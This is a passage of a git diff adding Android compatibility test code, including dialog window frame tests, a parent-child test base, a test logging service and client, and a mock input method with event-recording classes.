+ @Test
+ public void testGrantWriteRequestRead() throws Exception {
+ assertDropResult(GRANT_WRITE, REQUEST_READ, RESULT_EXCEPTION);
+ }
+
+ @Test
+ public void testGrantWriteRequestWrite() throws Exception {
+ assertDropResult(GRANT_WRITE, REQUEST_WRITE, RESULT_OK);
+ }
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java b/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java
new file mode 100644
index 0000000..9a8f9ea
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java
@@ -0,0 +1,240 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+import static android.server.am.StateLogger.logE;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+
+import android.graphics.Rect;
+import android.server.am.WaitForValidActivityState;
+import android.server.am.WindowManagerState.WindowState;
+
+import org.junit.Test;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class DialogFrameTests extends ParentChildTestBase {
+
+ private List<WindowState> mWindowList = new ArrayList();
+
+ @Override
+ String intentKey() {
+ return "android.server.FrameTestApp.DialogTestCase";
+ }
+
+ @Override
+ String activityName() {
+ return "DialogTestActivity";
+ }
+
+ WindowState getSingleWindow(String windowName) {
+ try {
+ mAmWmState.getWmState().getMatchingVisibleWindowState(
+ getBaseWindowName() + windowName, mWindowList);
+ return mWindowList.get(0);
+ } catch (Exception e) {
+ logE("Couldn't find window: " + windowName);
+ return null;
+ }
+ }
+
+ void doSingleTest(ParentChildTest t) throws Exception {
+ final WaitForValidActivityState waitForVisible =
+ new WaitForValidActivityState.Builder("TestDialog").build();
+
+ mAmWmState.computeState(waitForVisible);
+ WindowState dialog = getSingleWindow("TestDialog");
+ WindowState parent = getSingleWindow("DialogTestActivity");
+
+ t.doTest(parent, dialog);
+ }
+
+ // With Width and Height as MATCH_PARENT we should fill
+ // the same content frame as the main activity window
+ @Test
+ public void testMatchParentDialog() throws Exception {
+ doParentChildTest("MatchParent",
+ (WindowState parent, WindowState dialog) -> {
+ assertEquals(parent.getContentFrame(), dialog.getFrame());
+ });
+ }
+
+ // If we have LAYOUT_IN_SCREEN and LAYOUT_IN_OVERSCAN with MATCH_PARENT,
+ // we will not be constrained to the insets and so we will be the same size
+ // as the main window main frame.
+ @Test
+ public void testMatchParentDialogLayoutInOverscan() throws Exception {
+ doParentChildTest("MatchParentLayoutInOverscan",
+ (WindowState parent, WindowState dialog) -> {
+ assertEquals(parent.getFrame(), dialog.getFrame());
+ });
+ }
+
+ static final int explicitDimension = 200;
+
+ // The default gravity for dialogs should center them.
+ @Test
+ public void testExplicitSizeDefaultGravity() throws Exception {
+ doParentChildTest("ExplicitSize",
+ (WindowState parent, WindowState dialog) -> {
+ Rect contentFrame = parent.getContentFrame();
+ Rect expectedFrame = new Rect(
+ contentFrame.left + (contentFrame.width() - explicitDimension) / 2,
+ contentFrame.top + (contentFrame.height() - explicitDimension) / 2,
+ contentFrame.left + (contentFrame.width() + explicitDimension) / 2,
+ contentFrame.top + (contentFrame.height() + explicitDimension) / 2);
+ assertEquals(expectedFrame, dialog.getFrame());
+ });
+ }
+
+ @Test
+ public void testExplicitSizeTopLeftGravity() throws Exception {
+ doParentChildTest("ExplicitSizeTopLeftGravity",
+ (WindowState parent, WindowState dialog) -> {
+ Rect contentFrame = parent.getContentFrame();
+ Rect expectedFrame = new Rect(
+ contentFrame.left,
+ contentFrame.top,
+ contentFrame.left + explicitDimension,
+ contentFrame.top + explicitDimension);
+ assertEquals(expectedFrame, dialog.getFrame());
+ });
+ }
+
+ @Test
+ public void testExplicitSizeBottomRightGravity() throws Exception {
+ doParentChildTest("ExplicitSizeBottomRightGravity",
+ (WindowState parent, WindowState dialog) -> {
+ Rect contentFrame = parent.getContentFrame();
+ Rect expectedFrame = new Rect(
+ contentFrame.left + contentFrame.width() - explicitDimension,
+ contentFrame.top + contentFrame.height() - explicitDimension,
+ contentFrame.left + contentFrame.width(),
+ contentFrame.top + contentFrame.height());
+ assertEquals(expectedFrame, dialog.getFrame());
+ });
+ }
+
+ // TODO: Commented out for now because it doesn't work. We end up
+ // insetting the decor on the bottom. I think this is a bug
+ // probably in the default dialog flags:
+ // b/30127373
+ // public void testOversizedDimensions() throws Exception {
+ // doParentChildTest("OversizedDimensions",
+ // (WindowState parent, WindowState dialog) -> {
+ // With the default flags oversize should result in clipping to
+ // parent frame.
+ // assertEquals(parent.getContentFrame(), dialog.getFrame());
+ // });
+ // }
+
+
+
+ // TODO(b/63993863) : Disabled pending public API to fetch maximum surface size.
+ //static final int oversizedDimension = 5000;
+ // With FLAG_LAYOUT_NO_LIMITS we should get the size we request, even if its much
+ // larger than the screen.
+ // @Test
+ // public void testOversizedDimensionsNoLimits() throws Exception {
+ // TODO(b/36890978): We only run this in fullscreen because of the
+ // unclear status of NO_LIMITS for non-child surfaces in MW modes
+ // doFullscreenTest("OversizedDimensionsNoLimits",
+ // (WindowState parent, WindowState dialog) -> {
+ // Rect contentFrame = parent.getContentFrame();
+ // Rect expectedFrame = new Rect(contentFrame.left, contentFrame.top,
+ // contentFrame.left + oversizedDimension,
+ // contentFrame.top + oversizedDimension);
+ // assertEquals(expectedFrame, dialog.getFrame());
+ // });
+ //}
+
+ // If we request the MATCH_PARENT and a non-zero position, we wouldn't be
+ // able to fit all of our content, so we should be adjusted to just fit the
+ // content frame.
+ @Test
+ public void testExplicitPositionMatchParent() throws Exception {
+ doParentChildTest("ExplicitPositionMatchParent",
+ (WindowState parent, WindowState dialog) -> {
+ assertEquals(parent.getContentFrame(),
+ dialog.getFrame());
+ });
+ }
+
+ // Unless we pass NO_LIMITS in which case our requested position should
+ // be honored.
+ @Test
+ public void testExplicitPositionMatchParentNoLimits() throws Exception {
+ final int explicitPosition = 100;
+ doParentChildTest("ExplicitPositionMatchParentNoLimits",
+ (WindowState parent, WindowState dialog) -> {
+ Rect contentFrame = parent.getContentFrame();
+ Rect expectedFrame = new Rect(contentFrame);
+ expectedFrame.offset(explicitPosition, explicitPosition);
+ assertEquals(expectedFrame, dialog.getFrame());
+ });
+ }
+
+ // We run the two focus tests fullscreen only because switching to the
+ // docked stack will strip away focus from the task anyway.
+ @Test
+ public void testDialogReceivesFocus() throws Exception {
+ doFullscreenTest("MatchParent",
+ (WindowState parent, WindowState dialog) -> {
+ assertEquals(dialog.getName(), mAmWmState.getWmState().getFocusedWindow());
+ });
+ }
+
+ @Test
+ public void testNoFocusDialog() throws Exception {
+ doFullscreenTest("NoFocus",
+ (WindowState parent, WindowState dialog) -> {
+ assertEquals(parent.getName(), mAmWmState.getWmState().getFocusedWindow());
+ });
+ }
+
+ @Test
+ public void testMarginsArePercentagesOfContentFrame() throws Exception {
+ float horizontalMargin = .25f;
+ float verticalMargin = .35f;
+ doParentChildTest("WithMargins",
+ (WindowState parent, WindowState dialog) -> {
+ Rect frame = parent.getContentFrame();
+ Rect expectedFrame = new Rect(
+ (int) (horizontalMargin * frame.width() + frame.left),
+ (int) (verticalMargin * frame.height() + frame.top),
+ (int) (horizontalMargin * frame.width() + frame.left)
+ + explicitDimension,
+ (int) (verticalMargin * frame.height() + frame.top)
+ + explicitDimension);
+ assertEquals(expectedFrame, dialog.getFrame());
+ });
+ }
+
+ @Test
+ public void testDialogPlacedAboveParent() throws Exception {
+ doParentChildTest("MatchParent",
+ (WindowState parent, WindowState dialog) -> {
+ // Not only should the dialog be higher, but it should be
+ // leave multiple layers of space inbetween for DimLayers,
+ // etc...
+ assertTrue(dialog.getZOrder() > parent.getZOrder());
+ });
+ }
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ParentChildTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/ParentChildTestBase.java
new file mode 100644
index 0000000..48fe59a
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ParentChildTestBase.java
@@ -0,0 +1,73 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
+import static android.server.am.StateLogger.log;
+
+import android.server.am.ActivityManagerTestBase;
+import android.server.am.WindowManagerState.WindowState;
+
+public abstract class ParentChildTestBase extends ActivityManagerTestBase {
+
+ private static final String COMPONENT_NAME = "android.server.FrameTestApp";
+
+ interface ParentChildTest {
+
+ void doTest(WindowState parent, WindowState child);
+ }
+
+ public void startTestCase(String testCase) throws Exception {
+ setComponentName(COMPONENT_NAME);
+ String cmd = getAmStartCmd(activityName(), intentKey(), testCase);
+ executeShellCommand(cmd);
+ }
+
+ public void startTestCaseDocked(String testCase) throws Exception {
+ startTestCase(testCase);
+ setActivityTaskWindowingMode(activityName(), WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
+ }
+
+ abstract String intentKey();
+
+ abstract String activityName();
+
+ abstract void doSingleTest(ParentChildTest t) throws Exception;
+
+ void doFullscreenTest(String testCase, ParentChildTest t) throws Exception {
+ log("Running test fullscreen");
+ startTestCase(testCase);
+ doSingleTest(t);
+ stopTestCase();
+ }
+
+ void doDockedTest(String testCase, ParentChildTest t) throws Exception {
+ log("Running test docked");
+ if (!supportsSplitScreenMultiWindow()) {
+ log("Skipping test: no split multi-window support");
+ return;
+ }
+ startTestCaseDocked(testCase);
+ doSingleTest(t);
+ stopTestCase();
+ }
+
+ void doParentChildTest(String testCase, ParentChildTest t) throws Exception {
+ doFullscreenTest(testCase, t);
+ doDockedTest(testCase, t);
+ }
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/TestLogClient.java b/tests/framework/base/windowmanager/src/android/server/wm/TestLogClient.java
new file mode 100644
index 0000000..725ef09
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/TestLogClient.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+
+/**
+ * A class that sends log data to {@link TestLogService}.
+ */
+public class TestLogClient {
+
+ public static final String EXTRA_LOG_TAG = "logtag";
+ public static final String EXTRA_KEY = "key";
+ public static final String EXTRA_VALUE = "value";
+
+ private static final String TEST_LOGGER_PACKAGE_NAME = "android.server.cts.wm";
+ private static final String TEST_LOGGER_SERVICE_NAME = "android.server.wm.TestLogService";
+
+ private final Context mContext;
+ private final String mLogTag;
+
+ public TestLogClient(Context context, String logtag) {
+ mContext = context;
+ mLogTag = logtag;
+ }
+
+ public void record(String key, String value) {
+ Intent intent = new Intent();
+ intent.setComponent(
+ new ComponentName(TEST_LOGGER_PACKAGE_NAME, TEST_LOGGER_SERVICE_NAME));
+ intent.putExtra(EXTRA_LOG_TAG, mLogTag);
+ intent.putExtra(EXTRA_KEY, key);
+ intent.putExtra(EXTRA_VALUE, value);
+ mContext.startService(intent);
+ }
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/TestLogService.java b/tests/framework/base/windowmanager/src/android/server/wm/TestLogService.java
new file mode 100644
index 0000000..8bd5099
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/TestLogService.java
@@ -0,0 +1,119 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+import android.app.Service;
+import android.content.Intent;
+import android.os.IBinder;
+import android.util.Log;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * A service collecting data from other apps used by a test.
+ *
+ * Use {@link TestLogClient} to send data to this service.
+ */
+public class TestLogService extends Service {
+ private static final String TAG = "TestLogService";
+
+ private static final Object mLock = new Object();
+
+ static class ClientChannel {
+ final String mStopKey;
+ final CountDownLatch mLatch = new CountDownLatch(1);
+ final Map<String, String> mResults = new HashMap<>();
+
+ ClientChannel(String stopKey) {
+ mStopKey = stopKey;
+ }
+ }
+
+ private static Map<String, ClientChannel> mChannels = new HashMap<>();
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return null;
+ }
+
+ @Override
+ public int onStartCommand(Intent intent, int flags, int startId) {
+ record(intent.getStringExtra(TestLogClient.EXTRA_LOG_TAG),
+ intent.getStringExtra(TestLogClient.EXTRA_KEY),
+ intent.getStringExtra(TestLogClient.EXTRA_VALUE));
+ return START_NOT_STICKY;
+ }
+
+ /**
+ * Prepare to receive results from a client with a specified tag.
+ *
+ * @param logtag Unique tag for the client.
+ * @param stopKey The key that signals that the client has completed all required actions.
+ */
+ public static void registerClient(String logtag, String stopKey) {
+ synchronized (mLock) {
+ if (mChannels.containsKey(logtag)) {
+ throw new IllegalArgumentException(logtag);
+ }
+ mChannels.put(logtag, new ClientChannel(stopKey));
+ }
+ }
+
+ /**
+ * Wait for the client to complete all required actions and return the results.
+ *
+ * @param logtag Unique tag for the client.
+ * @param timeoutMs Latch timeout in ms.
+ * @return The map of results from the client
+ */
+ public static Map<String, String> getResultsForClient(String logtag, int timeoutMs) {
+ Map<String, String> result = new HashMap<>();
+ CountDownLatch latch;
+ synchronized (mLock) {
+ if (!mChannels.containsKey(logtag)) {
+ return result;
+ }
+ latch = mChannels.get(logtag).mLatch;
+ }
+ try {
+ latch.await(timeoutMs, TimeUnit.MILLISECONDS);
+ } catch (InterruptedException ignore) {
+ }
+ synchronized (mLock) {
+ for (Map.Entry<String, String> e : mChannels.get(logtag).mResults.entrySet()) {
+ result.put(e.getKey(), e.getValue());
+ }
+ }
+ return result;
+ }
+
+ private static void record(String logtag, String key, String value) {
+ synchronized (mLock) {
+ if (!mChannels.containsKey(logtag)) {
+ Log.e(TAG, "Unexpected logtag: " + logtag);
+ return;
+ }
+ ClientChannel channel = mChannels.get(logtag);
+ channel.mResults.put(key, value);
+ if (key.equals(channel.mStopKey)) {
+ channel.mLatch.countDown();
+ }
+ }
+ }
+}
diff --git a/tests/inputmethod/Android.mk b/tests/inputmethod/Android.mk
index 0c1ed5f..979ad78 100644
--- a/tests/inputmethod/Android.mk
+++ b/tests/inputmethod/Android.mk
@@ -31,7 +31,8 @@
LOCAL_STATIC_JAVA_LIBRARIES := \
android-support-test \
compatibility-device-util \
- ctstestrunner
+ ctstestrunner \
+ CtsMockInputMethod
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/tests/inputmethod/AndroidManifest.xml b/tests/inputmethod/AndroidManifest.xml
index 11f008d..c316448 100644
--- a/tests/inputmethod/AndroidManifest.xml
+++ b/tests/inputmethod/AndroidManifest.xml
@@ -34,6 +34,33 @@
</intent-filter>
</activity>
+ <activity
+ android:name="android.view.inputmethod.cts.util.TestActivity"
+ android:label="TestActivity">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+ </intent-filter>
+ </activity>
+
+ <!-- In order to test typical use cases, let this MockIME run in a separate process -->
+ <!--
+ TODO: Move this sevice definition into MockIME package and let the build system to merge
+ manifests once soong supports to build aar package.
+ -->
+ <service
+ android:name="com.android.cts.mockime.MockIme"
+ android:label="Mock IME"
+ android:permission="android.permission.BIND_INPUT_METHOD"
+ android:process=":mockime">
+ <intent-filter>
+ <action android:name="android.view.InputMethod" />
+ </intent-filter>
+ <meta-data
+ android:name="android.view.im"
+ android:resource="@xml/method" />
+ </service>
+
</application>
<instrumentation
diff --git a/tests/inputmethod/AndroidTest.xml b/tests/inputmethod/AndroidTest.xml
index b696a52..b0711fe 100644
--- a/tests/inputmethod/AndroidTest.xml
+++ b/tests/inputmethod/AndroidTest.xml
@@ -19,6 +19,12 @@
<option name="config-descriptor:metadata" key="component" value="framework" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
+ <!--
+ TODO(yukawa): come up with a proper way to take care of devices that do not support
+ installable IMEs. Ideally target_preparer should have an option to annotate required
+ features, e.g. android.software.input_methods so that we can conditionally install APKs
+ based on the feature supported in the target device.
+ -->
<option name="test-file-name" value="CtsInputMethodTestCases.apk" />
</target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
diff --git a/tests/inputmethod/mockime/Android.mk b/tests/inputmethod/mockime/Android.mk
new file mode 100644
index 0000000..10f80a6
--- /dev/null
+++ b/tests/inputmethod/mockime/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CtsMockInputMethod
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_SDK_VERSION := current
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+LOCAL_JAVA_LIBRARIES := junit
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ android-support-annotations \
+ compatibility-device-util
+
+include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEvent.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEvent.java
new file mode 100644
index 0000000..a0dc613
--- /dev/null
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEvent.java
@@ -0,0 +1,201 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.mockime;
+
+import android.os.Bundle;
+import android.support.annotation.NonNull;
+
+/**
+ * An immutable object that stores event happened in the {@link MockIme}.
+ */
+public final class ImeEvent {
+
+ ImeEvent(@NonNull String eventName, int nestLevel, @NonNull String threadName, int threadId,
+ boolean isMainThread, long enterTimestamp, long exitTimestamp, long enterWallTime,
+ long exitWallTime, @NonNull ImeState enterState, @NonNull ImeState exitState,
+ @NonNull Bundle arguments) {
+ mEventName = eventName;
+ mNestLevel = nestLevel;
+ mThreadName = threadName;
+ mThreadId = threadId;
+ mIsMainThread = isMainThread;
+ mEnterTimestamp = enterTimestamp;
+ mExitTimestamp = exitTimestamp;
+ mEnterWallTime = enterWallTime;
+ mExitWallTime = exitWallTime;
+ mEnterState = enterState;
+ mExitState = exitState;
+ mArguments = arguments;
+ }
+
+ @NonNull
+ final Bundle toBundle() {
+ final Bundle bundle = new Bundle();
+ bundle.putString("mEventName", mEventName);
+ bundle.putInt("mNestLevel", mNestLevel);
+ bundle.putString("mThreadName", mThreadName);
+ bundle.putInt("mThreadId", mThreadId);
+ bundle.putBoolean("mIsMainThread", mIsMainThread);
+ bundle.putLong("mEnterTimestamp", mEnterTimestamp);
+ bundle.putLong("mExitTimestamp", mExitTimestamp);
+ bundle.putLong("mEnterWallTime", mEnterWallTime);
+ bundle.putLong("mExitWallTime", mExitWallTime);
+ bundle.putBundle("mEnterState", mEnterState.toBundle());
+ bundle.putBundle("mExitState", mExitState.toBundle());
+ bundle.putBundle("mArguments", mArguments);
+ return bundle;
+ }
+
+ @NonNull
+ static ImeEvent fromBundle(@NonNull Bundle bundle) {
+ final String eventName = bundle.getString("mEventName");
+ final int nestLevel = bundle.getInt("mNestLevel");
+ final String threadName = bundle.getString("mThreadName");
+ final int threadId = bundle.getInt("mThreadId");
+ final boolean isMainThread = bundle.getBoolean("mIsMainThread");
+ final long enterTimestamp = bundle.getLong("mEnterTimestamp");
+ final long exitTimestamp = bundle.getLong("mExitTimestamp");
+ final long enterWallTime = bundle.getLong("mEnterWallTime");
+ final long exitWallTime = bundle.getLong("mExitWallTime");
+ final ImeState enterState = ImeState.fromBundle(bundle.getBundle("mEnterState"));
+ final ImeState exitState = ImeState.fromBundle(bundle.getBundle("mExitState"));
+ final Bundle arguments = bundle.getBundle("mArguments");
+ return new ImeEvent(eventName, nestLevel, threadName,
+ threadId, isMainThread, enterTimestamp, exitTimestamp, enterWallTime, exitWallTime,
+ enterState, exitState, arguments);
+ }
+
+ /**
+ * Returns a string that represents the type of this event.
+ *
+ * <p>Examples: "onCreate", "onStartInput", ...</p>
+ *
+ * <p>TODO: Use enum type or something like that instead of raw String type.</p>
+ * @return A string that represents the type of this event.
+ */
+ @NonNull
+ public String getEventName() {
+ return mEventName;
+ }
+
+ /**
+ * Returns the nest level of this event.
+ *
+ * <p>For instance, when "showSoftInput" internally calls
+ * "onStartInputView", the event for "onStartInputView" has 1 level higher
+ * nest level than "showSoftInput".</p>
+ */
+ public int getNestLevel() {
+ return mNestLevel;
+ }
+
+ /**
+ * @return Name of the thread, where the event was consumed.
+ */
+ @NonNull
+ public String getThreadName() {
+ return mThreadName;
+ }
+
+ /**
+ * @return Thread ID (TID) of the thread, where the event was consumed.
+ */
+ public int getThreadId() {
+ return mThreadId;
+ }
+
+ /**
+ * @return {@code true} if the event was being consumed in the main thread.
+ */
+ public boolean isMainThread() {
+ return mIsMainThread;
+ }
+
+ /**
+ * @return Monotonic time measured by {@link android.os.SystemClock#elapsedRealtimeNanos()} when
+ * the corresponding event handler was called back.
+ */
+ public long getEnterTimestamp() {
+ return mEnterTimestamp;
+ }
+
+ /**
+ * @return Monotonic time measured by {@link android.os.SystemClock#elapsedRealtimeNanos()} when
+ * the corresponding event handler finished.
+ */
+ public long getExitTimestamp() {
+ return mExitTimestamp;
+ }
+
+ /**
+ * @return Wall-clock time measured by {@link System#currentTimeMillis()} when the corresponding
+ * event handler was called back.
+ */
+ public long getEnterWallTime() {
+ return mEnterWallTime;
+ }
+
+ /**
+ * @return Wall-clock time measured by {@link System#currentTimeMillis()} when the corresponding
+ * event handler finished.
+ */
+ public long getExitWallTime() {
+ return mExitWallTime;
+ }
+
+ /**
+ * @return IME state snapshot taken when the corresponding event handler was called back.
+ */
+ @NonNull
+ public ImeState getEnterState() {
+ return mEnterState;
+ }
+
+ /**
+ * @return IME state snapshot taken when the corresponding event handler finished.
+ */
+ @NonNull
+ public ImeState getExitState() {
+ return mExitState;
+ }
+
+ /**
+ * @return {@link Bundle} that stores parameters passed to the corresponding event handler.
+ */
+ @NonNull
+ public Bundle getArguments() {
+ return mArguments;
+ }
+
+ @NonNull
+ private final String mEventName;
+ private final int mNestLevel;
+ @NonNull
+ private final String mThreadName;
+ private final int mThreadId;
+ private final boolean mIsMainThread;
+ private final long mEnterTimestamp;
+ private final long mExitTimestamp;
+ private final long mEnterWallTime;
+ private final long mExitWallTime;
+ @NonNull
+ private final ImeState mEnterState;
+ @NonNull
+ private final ImeState mExitState;
+ @NonNull
+ private final Bundle mArguments;
+}
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEventStream.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEventStream.java
new file mode 100644
index 0000000..ee17b73
--- /dev/null
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEventStream.java
@@ -0,0 +1,202 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.cts.mockime;
+
+import android.os.Bundle;
+import android.support.annotation.IntRange;
+import android.support.annotation.NonNull;
+import android.view.inputmethod.EditorInfo;
+
+import java.text.SimpleDateFormat;
+import java.util.Date;
+import java.util.Locale;
+import java.util.Optional;
+import java.util.function.Predicate;
+import java.util.function.Supplier;
+
+/**
+ * A utility class that provides basic query operations and wait primitives for a series of
+ * {@link ImeEvent} sent from the {@link MockIme}.
+ *
+ * <p>All public methods are not thread-safe.</p>
+ */
+public final class ImeEventStream {
+
+ @NonNull
+ private final Supplier<ImeEventArray> mEventSupplier;
+ private int mCurrentPosition;
+
+ ImeEventStream(@NonNull Supplier<ImeEventArray> supplier) {
+ this(supplier, 0 /* position */);
+ }
+
+ private ImeEventStream(@NonNull Supplier<ImeEventArray> supplier, int position) {
+ mEventSupplier = supplier;
+ mCurrentPosition = position;
+ }
+
+ /**
+ * Create a copy that starts from the same event position of this stream. Once a copy is created
+ * further event position change on this stream will not affect the copy.
+ *
+ * @return A new copy of this stream
+ */
+ public ImeEventStream copy() {
+ return new ImeEventStream(mEventSupplier, mCurrentPosition);
+ }
+
+ /**
+ * Advances the current event position by skipping events.
+ *
+ * @param length number of events to be skipped
+ * @throws IllegalArgumentException {@code length} is negative
+ */
+ public void skip(@IntRange(from = 0) int length) {
+ if (length < 0) {
+ throw new IllegalArgumentException("length cannot be negative: " + length);
+ }
+ mCurrentPosition += length;
+ }
+
+ /**
+ * Find the first event that matches the given condition from the current position.
+ *
+ * <p>If there is such an event, this method returns such an event without moving the current
+ * event position.</p>
+ *
+ * <p>If there is such an event, this method returns {@link Optional#empty()} without moving the
+ * current event position.</p>
+ *
+ * @param condition the event condition to be matched
+ * @return {@link Optional#empty()} if there is no such an event. Otherwise the matched event is
+ * returned
+ */
+ @NonNull
+ public Optional<ImeEvent> findFirst(Predicate<ImeEvent> condition) {
+ final ImeEventArray latest = mEventSupplier.get();
+ int index = mCurrentPosition;
+ while (true) {
+ if (index >= latest.mLength) {
+ return Optional.empty();
+ }
+ if (condition.test(latest.mArray[index])) {
+ return Optional.of(latest.mArray[index]);
+ }
+ ++index;
+ }
+ }
+
+ /**
+ * Find the first event that matches the given condition from the current position.
+ *
+ * <p>If there is such an event, this method returns such an event and set the current event
+ * position to that event.</p>
+ *
+ * <p>If there is such an event, this method returns {@link Optional#empty()} without moving the
+ * current event position.</p>
+ *
+ * @param condition the event condition to be matched
+ * @return {@link Optional#empty()} if there is no such an event. Otherwise the matched event is
+ * returned
+ */
+ @NonNull
+ public Optional<ImeEvent> seekToFirst(Predicate<ImeEvent> condition) {
+ final ImeEventArray latest = mEventSupplier.get();
+ while (true) {
+ if (mCurrentPosition >= latest.mLength) {
+ return Optional.empty();
+ }
+ if (condition.test(latest.mArray[mCurrentPosition])) {
+ return Optional.of(latest.mArray[mCurrentPosition]);
+ }
+ ++mCurrentPosition;
+ }
+ }
+
+ /**
+ * @return Debug info as a {@link String}.
+ */
+ public String dump() {
+ final ImeEventArray latest = mEventSupplier.get();
+ final StringBuilder sb = new StringBuilder();
+ final SimpleDateFormat dataFormat =
+ new SimpleDateFormat("yyyy-MM-dd HH:mm:ss.SSS", Locale.US);
+ sb.append("ImeEventStream:\n");
+ sb.append(" latest: array[").append(latest.mArray.length).append("] + {\n");
+ for (int i = 0; i < latest.mLength; ++i) {
+ final ImeEvent event = latest.mArray[i];
+ if (i == mCurrentPosition) {
+ sb.append(" ======== CurrentPosition ======== \n");
+ }
+ sb.append(" ").append(i).append(" :");
+ if (event != null) {
+ for (int j = 0; j < event.getNestLevel(); ++j) {
+ sb.append(' ');
+ }
+ sb.append('{');
+ sb.append(dataFormat.format(new Date(event.getEnterWallTime())));
+ sb.append(" event=").append(event.getEventName());
+ sb.append(": args=");
+ dumpBundle(sb, event.getArguments());
+ sb.append("},\n");
+ } else {
